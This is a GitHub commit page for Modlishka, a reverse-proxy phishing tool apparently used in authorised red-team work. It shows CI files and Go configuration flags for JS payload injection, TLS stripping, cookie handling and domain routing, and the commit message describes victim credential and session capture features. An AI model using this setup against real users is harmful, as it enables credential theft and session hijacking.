Skip to content

Commit e539d10

Browse files
defektiveJoshRobertsS2dfktvS2PeteC-UVCUV-ROBot
authored
Allow secure cookies (#279)
* go fmt * Allow Secure Cookies * gitignore * Merging changes from arch4ngel/static-locations * Dev/hacks (#2) * Trying out some things to fix using a target domain that isn't a TLD+1 * Adding meta refresh to control panel page * Added Timestamp for victims * Hopefully fixed the html template * More fixes * One timestamp to rule them all.... * Fixed the htmltemplate for the control panel * Always set "Access-Control-Allow-Origin" to the original origin * Created a volume in the Dockerfile * Indent the JSON cookies for the control panel * Dev/control delete victim (#3) * Added a delete button to the control panel UI * Allow an empty user_id when deleting a victim * Removed vendor directory * fix cert serial * Put cookies in a pre tag * dont decode body before matching passwords... some people may have & in their password... * sometimes we dont want to force everything to be proxied... * fix regex * go back to old password logic, if it happens again we can fix it in the matcher regexp (hopefully) * added .microsoft file extension to regex variables in runtime/const.go so O365 websites can be rewritten * Added a download data button that, when clicked, will go through the list of users and ONLY download the information of people who entered in a username or password. The items that get downloaded are the UUID, the username, and the Termination Status. The purpose of this functionality is to retrieve this data and combine it with data from GoPhish to create a nice word document to help track phished users and their actions. This can be done for the client or for our own records. * Update const.go removed 'ge' from regex * add dist directory to .gitignore * Track the user agent string and display with the cookies. * patch cookie values with rules * Redirect to the termination URL sooner. * Option to disable the use of dynamic subdomains. * Option to change which domain a request goes to based on the URL path. Useful in combination with disableDynamicSubdomains. * fix failing test * fix format string * run tests on push --------- Co-authored-by: Josh Roberts <joshua.roberts@stage2sec.com> Co-authored-by: Josh <80706317+JoshRobertsS2@users.noreply.github.com> Co-authored-by: dfktvS2 <64235915+dfktvS2@users.noreply.github.com> Co-authored-by: peter cipolone <peter.cipolone@uvcyber.com> Co-authored-by: ROBot_UV <81599676+UV-ROBot@users.noreply.github.com> Co-authored-by: Paul Whiting <PaulWhitingS2@users.noreply.github.com>
1 parent 3ebc29e commit e539d10

File tree

802 files changed

+679
-290130
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

802 files changed

+679
-290130
lines changed

.github/workflows/reviewdog.yml

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
name: reviewdog
2+
on:
3+
pull_request_target:
4+
branches:
5+
- master
6+
push:
7+
branches:
8+
- master
9+
jobs:
10+
reviewdog:
11+
name: reviewdog
12+
runs-on: ubuntu-latest
13+
steps:
14+
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
15+
with:
16+
ref: ${{ github.event.pull_request.head.sha }}
17+
- uses: actions/setup-go@0aaccfd150d50ccaeb58ebd88d36e91967a5f35b # v5.4.0
18+
with:
19+
go-version: '1.23'
20+
21+
- name: TruffleHog OSS
22+
uses: trufflesecurity/trufflehog@ad258d848807ac956c978b391895800cb4237c1a # v3.88.24
23+
with:
24+
extra_args: --results=verified,unknown
25+
26+
- name: Build
27+
run: go build -v ./...
28+
29+
- name: Test
30+
run: go test -v ./...
31+
32+
- uses: reviewdog/action-staticcheck@73cfd0daa6fdbba9a858dcb0f62844012fa8317d # v1.27.0
33+
with:
34+
fail_on_error: true
35+
- uses: reviewdog/action-setup@e04ffabe3898a0af8d0fb1af00c188831c4b5893 # v1.3.2
36+
- name: Run reviewdog
37+
env:
38+
REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }}
39+
run: |
40+
reviewdog -reporter=github-pr-review -runners=gofmt

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
control_plugin_data.db
2+
Modlishka
3+
test-config.json
4+
dist/

.reviewdog.yml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
runner:
2+
govet:
3+
cmd: go vet ./...
4+
format: govet
5+
gofmt:
6+
cmd: test -z $(gofmt -l .) || (gofmt -s -d . && exit 1)
7+
format: diff

config/config.go

Lines changed: 54 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -18,33 +18,39 @@ import (
1818
"encoding/base64"
1919
"encoding/json"
2020
"flag"
21-
"github.com/drk1wi/Modlishka/log"
2221
"io"
2322
"os"
23+
24+
"github.com/drk1wi/Modlishka/log"
2425
)
2526

2627
type Options struct {
27-
ProxyDomain *string `json:"proxyDomain"`
28-
ListeningAddress *string `json:"listeningAddress"`
29-
ListeningPortHTTP *int `json:"listeningPortHTTP"`
30-
ListeningPortHTTPS *int `json:"listeningPortHTTPS"`
31-
ProxyAddress *string `json:"proxyAddress"`
32-
Target *string `json:"target"`
33-
TargetRes *string `json:"targetResources"`
34-
TargetRules *string `json:"rules"`
35-
JsRules *string `json:"jsRules"`
36-
TerminateTriggers *string `json:"terminateTriggers"`
37-
TerminateRedirectUrl *string `json:"terminateRedirectUrl"`
38-
TrackingCookie *string `json:"trackingCookie"`
39-
TrackingParam *string `json:"trackingParam"`
40-
Debug *bool `json:"debug"`
41-
ForceHTTPS *bool `json:"forceHTTPS"`
42-
ForceHTTP *bool `json:"forceHTTP"`
43-
LogPostOnly *bool `json:"logPostOnly"`
44-
DisableSecurity *bool `json:"disableSecurity"`
45-
DynamicMode *bool `json:"dynamicMode"`
46-
LogRequestFile *string `json:"log"`
47-
Plugins *string `json:"plugins"`
28+
ProxyDomain *string `json:"proxyDomain"`
29+
ListeningAddress *string `json:"listeningAddress"`
30+
ListeningPortHTTP *int `json:"listeningPortHTTP"`
31+
ListeningPortHTTPS *int `json:"listeningPortHTTPS"`
32+
ProxyAddress *string `json:"proxyAddress"`
33+
StaticLocations *string `json:"staticLocations"`
34+
Target *string `json:"target"`
35+
TargetRes *string `json:"targetResources"`
36+
TargetRules *string `json:"rules"`
37+
JsRules *string `json:"jsRules"`
38+
TerminateTriggers *string `json:"terminateTriggers"`
39+
TerminateRedirectUrl *string `json:"terminateRedirectUrl"`
40+
TrackingCookie *string `json:"trackingCookie"`
41+
TrackingParam *string `json:"trackingParam"`
42+
Debug *bool `json:"debug"`
43+
ForceHTTPS *bool `json:"forceHTTPS"`
44+
ForceHTTP *bool `json:"forceHTTP"`
45+
LogPostOnly *bool `json:"logPostOnly"`
46+
DisableSecurity *bool `json:"disableSecurity"`
47+
DynamicMode *bool `json:"dynamicMode"`
48+
LogRequestFile *string `json:"log"`
49+
Plugins *string `json:"plugins"`
50+
AllowSecureCookies *bool `json:"allowSecureCookies"`
51+
IgnoreTranslateDomains *string `json:"ignoreTranslateDomains"`
52+
DisableDynamicSubdomains *bool `json:"disableDynamicSubdomains"`
53+
PathHostRules *string `json:"pathHostRules"`
4854
*TLSConfig
4955
}
5056

@@ -56,38 +62,44 @@ type TLSConfig struct {
5662

5763
var (
5864
C = Options{
59-
ProxyDomain: flag.String("proxyDomain", "", "Proxy domain name that will be used - e.g.: proxy.tld"),
60-
ListeningAddress: flag.String("listeningAddress", "127.0.0.1", "Listening address - e.g.: 0.0.0.0 "),
61-
ListeningPortHTTP: flag.Int("listeningPortHTTP", 80, "Listening port for HTTP requests"),
65+
ProxyDomain: flag.String("proxyDomain", "", "Proxy domain name that will be used - e.g.: proxy.tld"),
66+
ListeningAddress: flag.String("listeningAddress", "127.0.0.1", "Listening address - e.g.: 0.0.0.0 "),
67+
ListeningPortHTTP: flag.Int("listeningPortHTTP", 80, "Listening port for HTTP requests"),
6268
ListeningPortHTTPS: flag.Int("listeningPortHTTPS", 443, "Listening port for HTTPS requests"),
63-
Target: flag.String("target", "", "Target domain name - e.g.: target.tld"),
69+
Target: flag.String("target", "", "Target domain name - e.g.: target.tld"),
6470
TargetRes: flag.String("targetRes", "",
6571
"Comma separated list of domains that were not translated automatically. Use this to force domain translation - e.g.: static.target.tld"),
6672
TerminateTriggers: flag.String("terminateTriggers", "",
6773
"Session termination: Comma separated list of URLs from target's origin which will trigger session termination"),
6874
TerminateRedirectUrl: flag.String("terminateUrl", "",
6975
"URL to which a client will be redirected after Session Termination rules trigger"),
7076
TargetRules: flag.String("rules", "",
71-
"Comma separated list of 'string' patterns and their replacements - e.g.: base64(new):base64(old),"+
72-
"base64(newer):base64(older)"),
77+
"Comma separated list of 'string' patterns and their replacements - e.g.: base64(old):base64(new),base64(older):base64(newer)"),
7378
JsRules: flag.String("jsRules", "", "Comma separated list of URL patterns and JS base64 encoded payloads that will be injected - e.g.: target.tld:base64(alert(1)),..,etc"),
7479

75-
ProxyAddress: flag.String("proxyAddress", "", "Proxy that should be used (socks/https/http) - e.g.: http://127.0.0.1:8080 "),
80+
ProxyAddress: flag.String("proxyAddress", "", "Proxy that should be used (socks/https/http) - e.g.: http://127.0.0.1:8080 "),
81+
StaticLocations: flag.String("staticLocations", "", "FQDNs in location headers that should be preserved."),
7682

77-
TrackingCookie: flag.String("trackingCookie", "id", "Name of the HTTP cookie used for track the client"),
78-
TrackingParam: flag.String("trackingParam", "id", "Name of the HTTP parameter used to set up the HTTP cookie tracking of the client"),
83+
TrackingCookie: flag.String("trackingCookie", "id", "Name of the HTTP cookie used for track the client"),
84+
TrackingParam: flag.String("trackingParam", "id", "Name of the HTTP parameter used to set up the HTTP cookie tracking of the client"),
7985
Debug: flag.Bool("debug", false, "Print extra debug information"),
8086
DisableSecurity: flag.Bool("disableSecurity", false, "Disable proxy security features like anti-SSRF. 'Here be dragons' - disable at your own risk."),
81-
DynamicMode: flag.Bool("dynamicMode", false, "Enable dynamic mode for 'Client Domain Hooking'"),
87+
DynamicMode: flag.Bool("dynamicMode", false, "Enable dynamic mode for 'Client Domain Hooking'"),
8288

83-
ForceHTTP: flag.Bool("forceHTTP", false, "Strip all TLS from the traffic and proxy through HTTP only"),
84-
ForceHTTPS: flag.Bool("forceHTTPS", false, "Strip all clear-text from the traffic and proxy through HTTPS only"),
89+
ForceHTTP: flag.Bool("forceHTTP", false, "Strip all TLS from the traffic and proxy through HTTP only"),
90+
ForceHTTPS: flag.Bool("forceHTTPS", false, "Strip all clear-text from the traffic and proxy through HTTPS only"),
8591

8692
LogRequestFile: flag.String("log", "", "Local file to which fetched requests will be written (appended)"),
8793

8894
LogPostOnly: flag.Bool("postOnly", false, "Log only HTTP POST requests"),
8995

90-
Plugins: flag.String("plugins", "all", "Comma separated list of enabled plugin names"),
96+
Plugins: flag.String("plugins", "all", "Comma separated list of enabled plugin names"),
97+
AllowSecureCookies: flag.Bool("allowSecureCookies", false, "Allow secure cookies to be set. Useful for when you are using HTTPS and cookies have SameSite=None"),
98+
IgnoreTranslateDomains: flag.String("ignoreTranslateDomains", "", "Comma separated list of domains to never translate and proxy"),
99+
100+
DisableDynamicSubdomains: flag.Bool("disableDynamicSubdomains", false, "Translate URL domain names to be the proxy domain"),
101+
PathHostRules: flag.String("pathHostRules", "",
102+
"Comma separated list of URL path patterns and the target domains to send the requests to - e.g.: /path/:example.com,/path2:www.example.com"),
91103
}
92104

93105
s = TLSConfig{
@@ -141,7 +153,6 @@ func ParseConfiguration() Options {
141153

142154
}
143155

144-
145156
return C
146157
}
147158

@@ -177,24 +188,21 @@ func (c *Options) VerifyConfiguration() {
177188
flag.PrintDefaults()
178189
os.Exit(1)
179190
}
180-
} else { // default + HTTPS wrapper
181-
182-
if len(*c.ProxyDomain) == 0 || len(*c.ProxyDomain) == 0 {
183-
log.Warningf("Missing required parameters in oder start the proxy. Terminating.")
184-
log.Warningf("TIP: You will need to specify at least the following parameters to serve the page over HTTP: proxyDomain and target.")
185-
flag.PrintDefaults()
186-
os.Exit(1)
187-
}
191+
} else { // default + HTTPS wrapper
188192

193+
if len(*c.ProxyDomain) == 0 || len(*c.ProxyDomain) == 0 {
194+
log.Warningf("Missing required parameters in oder start the proxy. Terminating.")
195+
log.Warningf("TIP: You will need to specify at least the following parameters to serve the page over HTTP: proxyDomain and target.")
196+
flag.PrintDefaults()
197+
os.Exit(1)
198+
}
189199

190200
}
191201

192-
193202
if *c.DynamicMode == true {
194203
log.Warningf("Dynamic Mode enabled: Proxy will accept and hook all incoming HTTP requests.")
195204
}
196205

197-
198206
if *c.ForceHTTP == true {
199207
log.Warningf("Force HTTP wrapper enabled: Proxy will strip all TLS traffic and handle requests over HTTP only")
200208
}

core/helper.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,4 +67,4 @@ func Redirect(w http.ResponseWriter, r *http.Request, url string) {
6767
} else {
6868
http.Redirect(w, r, "http://"+runtime.TopLevelDomain, 302)
6969
}
70-
}
70+
}

0 commit comments

Comments
 (0)